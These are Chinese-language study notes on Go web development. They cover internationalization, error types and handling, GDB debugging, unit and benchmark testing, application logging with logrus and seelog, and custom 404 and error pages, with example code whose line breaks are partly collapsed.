  • 用户的profile,我们可以让用户根据我提供的选项自行选择自己的语言,我们将其设置到用户账户相关的的profile中,用户再次登录的时候我们就把这个设置复写到locale设置中.

我们目前用的国际化是,用户首次访问的时候通过Accept-Language来判断用户语言,将用户语言设置在cookie中,同时在网页头部列出平台支持的语言,以供用户选择切换

用户如果选择切换语言,我们会在URL中带参locale=zh_CN,在路由中匹配该参数,设置用户的语言.

本地化资源

设置好locale之后我们需要做的就是如何存储相应的Locale对应的信息呢,这里面包括,文本信息,时间日期,货币值,视图资源,图片,包含文件等等.在Go语言中我们把这些格式信息存储在JSON中,然后通过合适的方式展现出来。

本地化文本信息

文本新式是编写web应用最常用到的,也是本地化资源中最多的信息.

建立需要的语言相应的map来维护一个key-value的关系,在输出之前按需从适合的map中去获取相应的文本

package mainimport "fmt"var locales map[string]map[string]stringfunc main() {//声明一个多维的maplocales = make(map[string]map[string]string, 2)//在多维map中追加一个英文map,随后向该map田中对应的英文内容en := make(map[string]string, 10)en["pea"] = "pea"en["bean"] = "bean"locales["en"] = en//在多维map中追加一个中文map,随后向该map田中对应的中文内容cn := make(map[string]string, 10)cn["pea"] = "豌豆"cn["bean"] = "毛豆"locales["zh-CN"] = cnlang := "zh-CN"//获取map中的信息fmt.Println(msg(lang, "pea"))fmt.Println(msg(lang, "bean"))
}func msg(locale, key string) string {if v, ok := locales[locale]; ok {if v2, ok := v[key]; ok {return v2}}return ""
}

上面展示了通过下标来去翻译内容的处理方式,但是有时候key-value方式并不能满足需要

比如I am 30 years old,这里这个30可能会改变的,这时候我们可以利用fmt.Printf()函数来实现

en["how old"] ="I am %d years old"
cn["how old"] ="我今年%d岁了"fmt.Printf(msg(lang, "how old"), 30)

本地化日期和时间

因为时区的关系,同一时刻,在不同地区,标识是不一样的,而且应为文化不同,每个地方的时间显示格式也不同

例如中文环境下可能显示:2012年10月24日 星期三 23时11分13秒 CST,而在英文环境下可能显示:Wed Oct 24 23:11:13 CST 2012

这里面我们需要解决两点:

  • 时区问题
  • 格式问题

$GOROOT/lib/time包中的timeinfo.zip含有locale对应的时区的定义,为了获得对应于当前的locale的时间 ,我们首先使用time.LoadLocaltion(name string)获取响应地区的locale,比如Asia/Shang或者America/Chicago对应的时区信息,再利用此信息与调用time.Now获得的Time对象协作来获得最终的时间

en["time_zone"]="America/Chicago"
cn["time_zone"]="Asia/Shanghai"
locale,_:=time.LoadLocation(msg(lang,"time_zone"))
t:=time.Now()
t =t.In(loc)
fmt.Println(t.Format(time.RFC3339))

我们也可以通过类似文本处理的方式来解决时间格式的问题

en["date_format"]="%Y-%m-%d %H:%M:%S"
cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒"fmt.Println(date(msg(lang,"date_format"),t))func date(fomate string,t time.Time) string{year, month, day = t.Date()hour, min, sec = t.Clock()//解析相应的%Y %m %d %H %M %S然后返回信息//%Y 替换成2012//%m 替换成10//%d 替换成24
}

本地化货币值

各个地区的货币表示格式也不一样,处理方式和日期和差不多

en["money"] ="USD %d"
cn["money"] ="¥%d元"fmt.Println(money_format(msg(lang,"date_format"),100))func money_format(fomate string,money int64) string{return fmt.Sprintf(fomate,money)
}

本地化视图和资源

有时候我们会需要根据不同的locale来展示不同的视图,这些视图,可能会包含不同的图片,CSS,JS等各种静态资源.

例如我们的目录是这样的:

views
|--en  //英文模板|--images     //存储图片信息|--js         //存储JS文件|--css        //存储css文件index.tpl     //用户首页login.tpl     //登陆首页
|--zh-CN //中文模板|--images|--js|--cssindex.tpllogin.tpl

有了这个目录结构后我们就可以在渲染的地方这样来实现代码:

view, _ := template.ParseFiles("views/"+lang+"/index.tpl")
VV.Lang=lang
view.Execute(os.Stdout, VV)

而对于里面的header.tpl里面的资源设置如下:

// js文件
<script type="text/javascript" src="views/{{.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>
// css文件
<link href="views/{{.Lang}}/css/bootstrap-responsive.min.css" rel="stylesheet">
// 图片文件
<img src="views/{{.Lang}}/images/btn.png">

国际化站点

//todo 如果要处理多个本地化资源,而对于我们常用到的,例如简答的文本翻译,时间日期,日子等处理.

都可以像下面这样处理

管理多个本地包

错误处理(调试和测试)

错误处理

在C语言中,通常返回-1或者NULL之类信息来标识错误,但是对我们使用者而言,如果看API文档,根本就不知道返回这代表了什么.

所以go定义了一个叫做error类型来显式的表达错误,在我们使用时把返回的error变量和nil做比较,来判断操作是否成功.一般的函数都会这么设计,其实包括我们自己,很多时候也会这么设计

例如os.Open()函数在打开文件失败时将返回一个部位nil的error变量

func Open(name string) (file *File, err error)

我们调用os.Open打开一个文件,如果失败则会调用log.Fatal来输出错误信息

f, err := os.Open("nihao.txt")
if err != nil {log.Fatal(err)
}

类似于os.Open函数,标准包中所有可能会出错的API都会返回一个error变量,以便错误处理

Error类型

error类型是一个接口类型,这是他的定义:

type error interface {Error() string
}

error 是一个内置的接口类型,我们可以在/builtin包下面找到相应的定义,而且我们在很多内部包里面用到的errorerrors包下的实现的私有结构errorString

//errorString是一个简单的错误实现。
type errorString struct {s string
}func (e *errorString) Error() string {return e.s
}

我们可以通过errors.New把一个字符串转化为errorString,以满足接口error的对象,其内部实现如下:

// New返回格式化为指定文本的错误。
func New(text string) error {return &errorString{text}
}

下面例子展示了如何使用errors.New:

func Sqrt(f float64) (float64, error) {if f < 0 {return 0, errors.New("math: square root of negative number")}// 实现
}

下面的例子,我们调用Sqrt的时候传递一个附属,然后Juin得到了non-nil的error对象,将此对象和nil比较,结果为true.所以fmt.Println(fmt包在处理error时会调用ERROR方法)被调用,以输出错误

f, err := Sqrt(-1)
if err != nil {fmt.Println(err)
}

自定义Error

我们知道error是一个interface,所以在实现我们自己的包的时候,通过定义实现此接口的结构,我们就可以实现自己的错误定义

  1. 下面是JSON包的示例
type SyntaxError struct {msg    string // 错误描述Offset int64  // 错误发生的位置
}func (e *SyntaxError) Error() string { return e.msg }
  1. Offset字段在调用Eerror的时候不会被打印,但是我们可以通过类型断言获取错误类型,然后可以打印相应的错误信息
if err := dec.Decode(&val); err != nil {if serr, ok := err.(*json.SyntaxError); ok {line, col := findLine(f, serr.Offset)return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err)}return err
}

需要注意的时,函数返回自定义错误时,返回推荐设置为error类型,而非自定义错误类型,特别注意的时不要预声明自定义错误类型的变量

// 错误,将可能导致上层调用者err!=nil的判断永远为true。
func Decode() *SyntaxError { // 预声明错误变量var err *SyntaxError     if 出错条件判断 {err = &SyntaxError{}}// 错误,err永远等于非nil,导致上层调用者err!=nil的判断始终为truereturn err               }

如果我们需要更加复杂的错误处理,可以参考一下net包的写法

package nettype Error interface {errorTimeout() bool   // Is the error a timeout?Temporary() bool // Is the error temporary?
}

在调用的地方,通过类型断言err是不是net.Error,来细化错误的处理,

就像下面,如果一个网络发生临时性错误,那么会sleep 1秒之后重启

if nerr, ok := err.(net.Error); ok && nerr.Temporary() {time.Sleep(1e9)continue
}
if err != nil {log.Fatal(err)
}

错误处理

go在错误处理上采用了和C类似的检查返回值的方式,而不是其他语言中的那种异常方式.

这就造成了编写上的一个很大的缺点,错误处理代码的冗余,这种情况我们只能通过复用检测函数来减少类似的代码

func init() {http.HandleFunc("/view", viewRecord)
}func viewRecord(w http.ResponseWriter, r *http.Request) {c := appengine.NewContext(r)key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)record := new(Record)if err := datastore.Get(c, key, record); err != nil {http.Error(w, err.Error(), 500)return}if err := viewTemplate.Execute(w, record); err != nil {http.Error(w, err.Error(), 500)}
}

可以看到,上面的例子中获取数据和获取模板展示调用时都会有检查错误,当有错误发生时.调用统一的处理函数http.Error,返回给客户端500错误代码,并显示相应的错误数据.

但是当越累越多的HandleFunc加入之后,这样的错误逻辑代码就会越来越多,我们可以通过自定义路由来缩减代码

type appHandler func(http.ResponseWriter, *http.Request) errorfunc (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {if err := fn(w, r); err != nil {http.Error(w, err.Error(), 500)}
}

上面我们定义了自定义的路由器,然后我们可以通过如下方式来注册函数:

func init() {http.Handle("/view", appHandler(viewRecord))
}

当请求/view的时候我们的逻辑处理可以变成如下代码,和第一种实现方式相比较已经简单了很多。

func viewRecord(w http.ResponseWriter, r *http.Request) error {c := appengine.NewContext(r)key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)record := new(Record)if err := datastore.Get(c, key, record); err != nil {return err}return viewTemplate.Execute(w, record)
}

上面的错误处理时,所有错误返回给用户的都是500错误码,我们可以把错误信息处理的更加友好

type appError struct {Error   errorMessage stringCode    int
}

这样我们的自定义路由器可以改成如下方式:

type appHandler func(http.ResponseWriter, *http.Request) *appErrorfunc (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {if e := fn(w, r); e != nil { // e is *appError, not os.Error.c := appengine.NewContext(r)c.Errorf("%v", e.Error)http.Error(w, e.Message, e.Code)}
}

这样修改完自定义错误之后,我们的逻辑处理可以改成如下方式:

func viewRecord(w http.ResponseWriter, r *http.Request) *appError {c := appengine.NewContext(r)key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)record := new(Record)if err := datastore.Get(c, key, record); err != nil {return &appError{err, "Record not found", 404}}if err := viewTemplate.Execute(w, record); err != nil {return &appError{err, "Can't display record", 500}}return nil
}

在我们访问view的时候可以根据不同的情况获取不同的错误码和错误信息,虽然这个和第一个版本的代码量差不多,但是这个显示的错误更加明显,提示的错误信息更加友好,扩展性也比第一个更好。

使用GDB调试

go语言不像PHP等动态语言一样,只要修改不需要编译就可以直接输出,而且可以动态的在开发环境下打印数据.虽然go语言也有Println之类的打印数据来调试,但是每次都要重新编译.

go内部已经内置支持了GDB,所以,我们可以通过GDB来进行调试

注意,在Mac下运行gdb ./文件名的时候需要,需要使用root执行,我的Mac环境有问题,导致最终也无法执行,所以这里测试的这个我当时没正确的做,只敲了一边.

GDB调试简介

GDB是FSF(自由软件基金会)发布的一个强大的类UNIX系统下的程序调试工具。使用GDB可以做如下事情:

  • 启动程序,可以按照开发者的自定义要求运行程序。
  • 可让被调试的程序在开发者设定的调置的断点处停住。(断点可以是条件表达式)
  • 当程序被停住时,可以检查此时程序中所发生的事。
  • 动态的改变当前程序的执行环境。

目前支持调试Go程序的GDB版本必须大于7.1。

编译Go程序的时候需要注意以下几点

  • 传递参数-ldflags "-s",忽略debug的打印信息
  • 传递-gcflags "-N -l" 参数,这样可以忽略Go内部做的一些优化,聚合变量和函数等优化,这样对于GDB调试来说非常困难,所以在编译的时候加入这两个参数避免这些优化。

常用命令

GDB常用命令

  • lis

简写命令是l,用来显示源码,默认显示10行代码,后面可带上参数显示的具体行

例如显示20行list 20,显示10行,其中第20行在显示的10行里的中间位置

  • break

简写命令是b,用来设置断点,后面跟上参数设置断点的行数,例如b 10在第十行设置断点

  • delete

简写命令时d,用来删除断点,后面要跟上断点设置的序号,这个序号可以通过info breakpoints获取相应设置的断点需要,就像下面是显示的设置断点的需要

  Num     Type           Disp Enb Address            What2       breakpoint     keep y   0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23breakpoint already hit 1 time
  • backtrace

简写命令时bt,用来打印执行的代码过程,如下所示

  #0  main.main () at /home/xiemengjun/gdb.go:23#1  0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244#2  0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267#3  0x0000000000000000 in ?? ()
  • info

info命令用来显示信息,后面有几种参数,我们常用的有如下几种:

info locals 显示当前执行的程序中的变量值

info breakpoints 显示当前设置的断点列表

info goroutines 显示当前执行的goroutine列表,如下代码所示,带*的表示当前执行的

  * 1  running runtime.gosched* 2  syscall runtime.entersyscall3  waiting runtime.gosched4 runnable runtime.gosched
  • print

简写命令是p,用来打印变量或其他信息,后面跟上需要打印的变量名,当然还有一些很有用的函数$len()$cap(),用来返回当前string,slices或者maps的长度和容量

  • whatis

用来显示当前变量的类型,后面跟上变量名,例如whatis msg,显示如下:

  type = struct string
  • next

简写命令是n,用来单步测试,调到下一步,当有断点之后,可以输入n跳转到下一步继续执行

  • continue

简称命令c, 用来跳出当前断点处,后面可以跟参数N,跳过多少次断点

  • set variable

该命令用来改变运行过程中的变量值,格式如set variable <var>=<value>

调试过程

我们通过下面的代码来调试go程序

package mainimport ("fmt""time"
)func counting(c chan<- int) {for i := 0; i < 10; i++ {time.Sleep(2 * time.Second)c <- i}close(c)
}func main() {msg := "Starting main"fmt.Println(msg)bus := make(chan int)msg = "starting a gofunc"go counting(bus)for count := range bus {fmt.Println("count:", count)}
}
  1. 编译文件,生成可执行文件gdbfile:
go build -gcflags "-N -l" gdbfile.go
  1. 通过gdb命令启动调试:
gdb gdbfile
  1. 只要输入run命令回车后程序就开始运行

如果在Mac中执行,此处需要使用sudu调用root运行,否则会暴如下错误

(gdb) run
Starting program: /Users/liuhao/go/src/web/errors/nihao
Unable to find Mach task port for process-id 56573: (os/kern) failure (0x5).(please check gdb is codesigned - see taskgated(8))

程序正常的话可以看到程序输出如下

(gdb) run
Starting program: /home/xiemengjun/gdbfile
Starting main
count: 0
count: 1
count: 2
count: 3
count: 4
count: 5
count: 6
count: 7
count: 8
count: 9
[LWP 2771 exited]
[Inferior 1 (process 2771) exited normally]

接下来开始给代码设置断点:

(gdb) b 23
Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23.
(gdb) run
Starting program: /home/xiemengjun/gdbfile
Starting main
[New LWP 3284]
[Switching to LWP 3284]Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23          fmt.Println("count:", count)

上面例子b 23表示在第23行设置了断点,之后输入run开始运行程序。现在程序在前面设置断点的地方停住了,我们需要查看断点相应上下文的源码,输入list就可以看到源码显示从当前停止行的前五行开始:

(gdb) list
18      fmt.Println(msg)
19      bus := make(chan int)
20      msg = "starting a gofunc"
21      go counting(bus)
22      for count := range bus {
23          fmt.Println("count:", count)
24      }
25  }

现在GDB在运行当前的程序的环境中已经保留了一些有用的调试信息,我们只需打印出相应的变量,查看相应变量的类型及值:

(gdb) info locals
count = 0
bus = 0xf840001a50
(gdb) p count
$1 = 0
(gdb) p bus
$2 = (chan int) 0xf840001a50
(gdb) whatis bus
type = chan int

接下来该让程序继续往下执行,请继续看下面的命令

(gdb) c
Continuing.
count: 0
[New LWP 3303]
[Switching to LWP 3303]Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
(gdb) c
Continuing.
count: 1
[Switching to LWP 3302]Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)

每次输入c之后都会执行一次代码,又跳到下一次for循环,继续打印出来相应的信息。

设想目前需要改变上下文相关变量的信息,跳过一些过程,并继续执行下一步,得出修改后想要的结果:

(gdb) info locals
count = 2
bus = 0xf840001a50
(gdb) set variable count=9
(gdb) info locals
count = 9
bus = 0xf840001a50
(gdb) c
Continuing.
count: 9
[Switching to LWP 3302]Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)

通过查看goroutines的命令我们可以清楚地了解goruntine内部是怎么执行的,每个函数的调用顺序已经明明白白地显示出来了。

(gdb) info goroutines
* 1 running runtime.gosched
* 2 syscall runtime.entersyscall
3 waiting runtime.gosched
4 runnable runtime.gosched
(gdb) goroutine 1 bt
#0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927
#1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void)
at /home/xiemengjun/go/src/pkg/runtime/chan.c:327
#2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void)
at /home/xiemengjun/go/src/pkg/runtime/chan.c:420
#3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22
#4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
#5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
#6 0x0000000000000000 in ?? ()

测试用例

go语言中自带一个轻量级的测试框架testing和自带的go test命令来实现单元测试和性能测试,testing框架和其他语言中的测试框架类似,我们可以基于这个框架写针对相应函数的测试用例,也可以基于该框架写相应的压力测试用例

另外,建议安装gotests插件自动生成测试代码,后面的三个点就是这样

有可能会因为被墙而导致无法下载,自己想办法吧.

go get -u -v github.com/cweill/gotests/...

如何编写测试用例

由于go test命令只能在一个相应的目录下执行所有文件,所以我们要新建一个项目,报我们所有的代码和测试代码都放在这个目录下面

接下来我们在该目录下创建两个文件,一个gotest.go和gotest_test.go

  1. gotest.go,没什么东西,只有一个函数实现了除法
  package gotestimport ("errors")func Div(a, b float64) (float64, error) {if b == 0 {return 0, errors.New("除数不能为0")}return a / b, nil}
  1. gotest_test.go:这是我们的单元测试文件,但是记住
  • 文件名必须是_test.go结尾的,这样在执行go test的时候才会执行到相应的代码
  • 必须import testing这个包
  • 所有的测试用例函数,必须是Test开头
  • 测试用例会按照源代码中写的顺序依次执行
  • 测试函数TestXxx()的参数是testing.T,我们可以使用该类型来记录错误或者测试错误状态
  • 测试格式:func TestXxx(t *testing.T),这里的xxx可以为任意的字母或数字组合,但是首字母不能是小写字母[a-z],例如Testintdiv是错误的函数名。
  • 函数中通过调用testing.T的错误Error, Errorf, FailNow, Fatal, FatalIf方法,说明测试不通过,调用Log方法来记录测试的信息

下面是测试用例的代码

package gotestimport ("testing"
)//第一个测试函数
func Test_Div_1(t *testing.T) {if i, e := Div(6, 2); i != 3 || e != nil { //try a unit test on functiont.Error("除法函数测试没通过") // 如果结果不是想要的,就直接报错就行} else {t.Log("第一个测试通过了") //这里可以记录一些我们期望的信息}
}//第二个测试函数
func Test_Div_2(t *testing.T) {t.Error("就是不让通过")
}

这时候我们执行go test -v因为go test成功的部分只会显示一个OK

~/go/src/web/test on  master! ⌚ 23:41:21
$ go test -v
=== RUN   Test_Div_1
--- PASS: Test_Div_1 (0.00s)gotest_test.go:11: 第一个测试通过了
=== RUN   Test_Div_2
--- FAIL: Test_Div_2 (0.00s)gotest_test.go:16: 就是不让通过
FAIL
exit status 1
FAIL    web/test    0.006s

我们看到测试函数1Test_Div_1测试通过,而测试函数2Test_Div_2测试失败了.

接下来我们把测试函数2修改成如下代码:

func Test_Div_2(t *testing.T) {//将除数设置为0肯定会报错if _, e := Div(6, 0); e == nil {t.Error("2测试失败") // 如果不是如预期的那么就报错} else {t.Log("2测试通过", e) //记录一些你期望记录的信息}
}

然后我们执行go test -v,就显示如下信息,测试通过了:

~/go/src/web/test on  master! ⌚ 23:41:22
$ go test -v
=== RUN   Test_Div_1
--- PASS: Test_Div_1 (0.00s)gotest_test.go:11: 第一个测试通过了
=== RUN   Test_Div_2
--- PASS: Test_Div_2 (0.00s)gotest_test.go:22: 2测试通过 除数不能为0
PASS
ok      web/test    0.006s

如何编写压力测试

压力测试,和编写单元测试的方法类似,,但是要注意几点:

  • 压力测试用例必须遵循下面的格式,其中XXX可以是任意字母数字组合,但是首字母必须大写
func BenchmarkXXX(b *testing.B) { ... }
  • go test不会默认执行压力测试函数,如果要执行压力测试需要带上参数-test.bench,语法:test.bench="test_name_regex",例如go test -test.bench=".*"表示测试当前目录下全部的压力测试函数
  • 在压力测试用例中,请记得在循环体内使用testing.B.N,以使测试可以正常的运行
  • 文件名也必须以_test.go结尾

准别压力测试文件bench_test.go

package gotestimport ("testing"
)func Benchmark_Division(b *testing.B) {//b.N可以直接设置,比如b.N=100for i := 0; i < b.N; i++ { //use b.N for loopingDiv(4, 5)}
}func Benchmark_TimeConsumingFunction(b *testing.B) {b.StopTimer() //调用该函数停止压力测试的时间计数//b.N可以直接设置,比如b.N=100//做一些初始化的工作,例如读取文件数据,数据库连接之类的,//这样这些时间不影响我们测试函数本身的性能b.StartTimer() //重新开始时间for i := 0; i < b.N; i++ {Div(4, 5)}
}

执行结果过

$ go test -test.bench=".*" ./gotest.go ./bench_test.go
goos: darwin
goarch: amd64
//执行了2000000000次,每次平均时间是0.32纳秒
Benchmark_Division-8                    2000000000           0.32 ns/op
//执行了2000000000次,每次平均时间是0.32纳秒
Benchmark_TimeConsumingFunction-8       2000000000           0.32 ns/op
PASS
ok      command-line-arguments  1.350s

必须要注意的是:

如果我们在当前目录使用go test或者go test -test.bench=".*"的话会测试当前目录下所有的程序,这是没问题的.

但是如果我们执行go test ./gotest_test.go或者go test ./bench_test.go -test.bench=".*" 是会报错的,提示里面调用的包不存在,所以我们要同时把源文件和测试文件同时引入,例如$ go test -test.bench=".*" ./gotest.go ./bench_test.go

部署与维护

这里主要是介绍

  • 如何在生产服务上记录程序产生的日志,如何记录日志
  • 发生错误时应该如何处理,如何保证尽量少的影响到用户的访问
  • 如何部署go的独立程序,因为go目前还无法像C那样协程daemon
  • 介绍应用数据的备份和恢复

应用日志

go语言中提供了一个简单的log包,我们使用该包可以方便的实现日志记录功能.

这些日志都是基于fmt包的打印再结合panic之类的函数来进行一般的打印,抛出错误的处理

go目前标准包只是,包含了简单的功能,如果我们想把我们的应用日志保存到文件,然后又能够结合日志实现复杂的功能,可以使用第三方的包的日志系统:logrusseelog

logrus介绍

logrus是用go语言实现的一个日志系统,与标准款log完全兼容并且核心API很稳定,是目前go中最活跃的日志库

安装

这里需要翻墙,一部分依赖包因为要走google官方,否则会报错 //package golang.org/x/sys/unix: unrecognized import path "golang.org/x/sys/unix" (https fetch: Get https://golang.org/x/sys/unix?go-get=1: dial tcp 216.239.37.1:443: i/o timeout)

go get -u github.com/sirupsen/logrus

简单的例子

package mainimport (log "github.com/Sirupsen/logrus"
)func main() {//记录日志log.WithFields(log.Fields{"animal": "walrus",}).Info("A walrus appears")
}

基于logrus的自定义日志处理

六种日志级别:

  • logrus.Debug("Useful debugging information.")
  • logrus.Info("Something noteworthy happened!")
  • logrus.Warn("You should probably take a look at this.")
  • logrus.Error("Something failed but I'm not quitting.")
  • logrus.Fatal("Bye.") //log之后会调用os.Exit(1)
  • logrus.Panic("I'm bailing.") //log之后会panic()
package mainimport ("os"log "github.com/Sirupsen/logrus"
)func init() {// 设置日志格式化为JSON而不是默认的ASCIIlog.SetFormatter(&log.JSONFormatter{})// 设置输出stdout而不是默认的stderr,也可以是一个文件// 为当前logrus实例设置消息的输出,同样地,// 可以设置logrus实例的输出到任意io.writerlog.SetOutput(os.Stdout)// 设置只记录严重或以上警告,这里如果要设置其他级别,直接点进去看就行了,错误级别这种东西都很直观log.SetLevel(log.WarnLevel)
}func main() {//下面全是用来记录日志的log.WithFields(log.Fields{"animal": "walrus","size":   10,}).Info("A group of walrus emerges from the ocean")log.WithFields(log.Fields{"omg":    true,"number": 122,}).Warn("The group's number increased tremendously!")log.WithFields(log.Fields{"omg":    true,"number": 100,}).Fatal("The ice breaks!")// 通过日志语句重用字段// logrus.Entry返回自WithFields()contextLogger := log.WithFields(log.Fields{"common": "this is a common field","other":  "I also should be logged always",})contextLogger.Info("I'll be logged with common and other field")contextLogger.Info("Me too")
}

seelog介绍

seelog也是一个用go语言实现的日志系统,他提供了一些简单的函数但是实现了复杂的,日志分配,过滤和格式化,主要特性:

  • XML的动态配置,可以不用重新编译程序而动态的加载配置信息
  • 支持热更新,能够动态改变配置而不需要重启应用
  • 支持多输出流,能够同时把日志输出到多种流中,例如文件流,网络流等.
  • 支持不同的日志输出方式
    • 命令行输出
    • 文件输出
    • 缓存输出
    • 支持log rotate
    • SMTP邮件

安装seelog

go get -u github.com/cihub/seelog

一个简单的例子

//运行如果出现了Hello from seelog,说明seelog日志系统已经成功安装并且可以正常运行了。
package mainimport log "github.com/cihub/seelog"func main() {//这里这个defer,很妙defer log.Flush()log.Info("Hello from Seelog!")
}

seelog支持自定义日志处理

这里运行的时候又出现一个错误,非常难搞,建议开代理别费事../github.com/Sirupsen/logrus/terminal_check_bsd.go:5:8: cannot find package "golang.org/x/sys/unix" in any of: /usr/local/Cellar/go/1.11.2/libexec/src/golang.org/x/sys/unix (from $GOROOT) /Users/liuhao/go/src/golang.org/x/sys/unix (from $GOPATH)

下面这个主要是实现了三个函数:

  • DisableLog 初始化全局变量Logger为seelog的禁用状态,主要为了防止Logger被多次初始化

  • loadAppConfig 根据配置文件初始化seelog的配置信息,这里我们把配置文件通过字符串读取设置好了,也可以通过读取XML文件。里面的配置说明如下:

    • seelog minlevel参数可选,如果被配置,高于或等于此级别的日志会被记录,同理maxlevel。
    • outputs 输出信息的目的地,这里分成了两份数据,一份记录到log rotate文件里面。另一份设置了filter,如果这个错误级别是critical,那么将发送报警邮件。
    • formats 定义了各种日志的格式
  • UseLogger 设置当前的日志器为相应的日志处理

package logsimport (// "errors""fmt"// "io""github.com/cihub/seelog"
)var Logger seelog.LoggerInterfacefunc loadAppConfig() {appConfig := `
<seelog minlevel="warn"><outputs formatid="common"><rollingfile type="size" filename="/data/logs/roll.log" maxsize="100000" maxrolls="5"/><filter levels="critical"><file path="/data/logs/critical.log" formatid="critical"/><smtp formatid="criticalemail" senderaddress="astaxie@gmail.com" sendername="ShortUrl API" hostname="smtp.gmail.com" hostport="587" username="mailusername" password="mailpassword"><recipient address="xiemengjun@gmail.com"/></smtp></filter></outputs><formats><format id="common" format="%Date/%Time [%LEV] %Msg%n" /><format id="critical" format="%File %FullPath %Func %Msg%n" /><format id="criticalemail" format="Critical error on our server!\n    %Time %Date %RelFile %Func %Msg \nSent by Seelog"/></formats>
</seelog>
`logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig))if err != nil {fmt.Println(err)return}UseLogger(logger)
}func init() {DisableLog()loadAppConfig()
}// DisableLog禁用所有库日志输出
func DisableLog() {Logger = seelog.Disabled
}// UseLogger使用指定的seelog。输出库日志的LoggerInterface。
//如果在应用程序中使用Seelog日志系统,请使用这个函数。
func UseLogger(newLogger seelog.LoggerInterface) {Logger = newLogger
}//调用错误处理
func main() {err := "Info: 错误信息"Logger.Info("Start server at:%v", err)err = "Critical: 错误信息"Logger.Critical("Server err:%v", err)
}

发生错误发送邮件

下面通过smtp配置来发送邮件:

  • 邮件的格式通过criticalemail配置
  • 通过其他的配置发送邮件服务器的配置
  • 通过recipient配置接收邮件的用户,如果有多个用户可以再添加一行。
<smtp formatid="criticalemail" senderaddress="这里是邮箱地址" sendername="ShortUrl API" hostname="smtp.gmail.com" hostport="587" username="mailusername" password="这里邮箱密码"><recipient address="这里是发送者邮箱地址"/>
</smtp>

要测试成功与否,可以在代码中增加类似下面的一个假消息(上线前记得删除)

logs.Logger.Critical("test Critical message")

使用应用日志

比如,我们需要跟踪用户尝试登陆系统的操作,这时候我们会把成功的和不成功的都记录下来.

  • 成功的则用info日志级别进行记录
  • 失败的则用warn级别来记录

如果我们要查询登陆失败的用户只需要grep一下就行了,其实最好的方式是把不同的错误记录,分别存储在不同的地方

# cat /data/logs/roll.log | grep "failed login"
2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password

网站错误处理

我们的项目一旦上线,各种错误都有可能出现,比如:

  • 数据库错误, 指操作数据库时发生的错误。比如:

    • 连接错误, 这一类错误可能是数据库服务器网络断开、用户名密码不正确、或者数据库不存在
    • 查询错误, 使用的SQL非法导致错误,严格筛选SQL即可避免
    • 数据错误, 数据库中的约束冲突,例如一个唯一字段插入一条重复主键就会报错,严格测试就可以避免
  • 应用运行时错误:这类错误范围很广,这类错误几乎涵盖了代码中所有的错误

    • 文件系统和权限:应用读取不存在的文件,或者读取/写入没有权限的文件都会导致一个错误,读取格式不对也会报错,比如,配置文件应该是ini,而设置成了json就会报错.
    • 第三方应用::如果我们使用了其他第三方接口程序,
  • HTTP错误:这些错误都是根据用户的请求错误出现的错误,比如403,404,503等

  • 操作系统出错:都是由于应用程序上的操作系统出现错误引起的,比如,操作系统的资源被分配光了,还有操作系统磁盘满了, 导致无法写入,等等.

  • 网络出错:指两方面的错误,一方面是用户请求时出现网络断开,这虽然不会导致web程序崩溃,但是影响用户体验.另一方面是应用程序读取其他网络上的数据,其他网络断开会导致读取失败.

错误处理的目标

  • 通知访问用户出现错误了
  • 记录错误
  • 回滚当前的请求操作
  • 保证现有程序可运行可服务

如何处理错误

  • 通知用户出现错误:

通知用户访问页面错误时可以用:404.html和error.html:

404页面

<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>找不到页面</title><meta name="viewport" content="width=device-width, initial-scale=1.0"></head><body><div class="container"><div class="row"><div class="span10"><div class="hero-unit"><h1>404!</h1><p>{{.ErrorInfo}}</p></div></div><!--/span--></div></div></body></html>

error页面

  <html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>系统错误页面</title><meta name="viewport" content="width=device-width, initial-scale=1.0"></head><body><div class="container"><div class="row"><div class="span10"><div class="hero-unit"><h1>系统暂时不可用!</h1><p>{{.ErrorInfo}}</p></div></div><!--/span--></div></div></body></html>

404的错误处理逻辑,如果是系统的错误也是类似的操作,同时我们看到在:


func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {if r.URL.Path == "/" {sayhelloName(w, r)return}NotFound404(w, r)return
}func NotFound404(w http.ResponseWriter, r *http.Request) {log.Error("页面找不到")                        //记录错误日志t, _ = t.ParseFiles("tmpl/404.html", nil) //解析模板文件ErrorInfo := "文件找不到"                      //获取当前用户信息t.Execute(w, ErrorInfo)                   //执行模板的merger操作
}func SystemError(w http.ResponseWriter, r *http.Request) {log.Critical("系统错误")                        //系统错误触发了Critical,那么不仅会记录日志还会发送邮件t, _ = t.ParseFiles("tmpl/error.html", nil) //解析模板文件ErrorInfo := "系统暂时不可用"                      //获取当前用户信息t.Execute(w, ErrorInfo)                     //执行模板的merger操作
}

如何处理异常

